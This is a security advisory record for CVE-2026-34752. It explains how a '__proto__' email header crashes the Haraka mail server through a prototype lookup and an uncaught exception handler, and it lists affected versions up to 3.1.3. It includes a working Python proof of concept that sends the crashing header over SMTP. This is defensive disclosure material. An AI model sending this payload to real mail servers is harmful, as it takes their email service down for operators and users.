{"id":"GHSA-xph3-r2jf-4vp3","summary":"Haraka affected by DoS via `__proto__` email header","details":"### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) =\u003e {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) =\u003e logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:\u003cx@x.com\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:\u003cuser@haraka.local\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.","aliases":["CVE-2026-34752"],"modified":"2026-04-06T17:56:38.130744Z","published":"2026-04-01T22:56:09Z","database_specific":{"cwe_ids":["CWE-248"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-01T22:56:09Z","nvd_published_at":"2026-04-02T19:21:33Z"},"references":[{"type":"WEB","url":"https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34752"},{"type":"PACKAGE","url":"https://github.com/haraka/Haraka"},{"type":"WEB","url":"https://github.com/haraka/Haraka/releases/tag/v3.1.4"}],"affected":[{"package":{"name":"Haraka","ecosystem":"npm","purl":"pkg:npm/Haraka"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-xph3-r2jf-4vp3/GHSA-xph3-r2jf-4vp3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}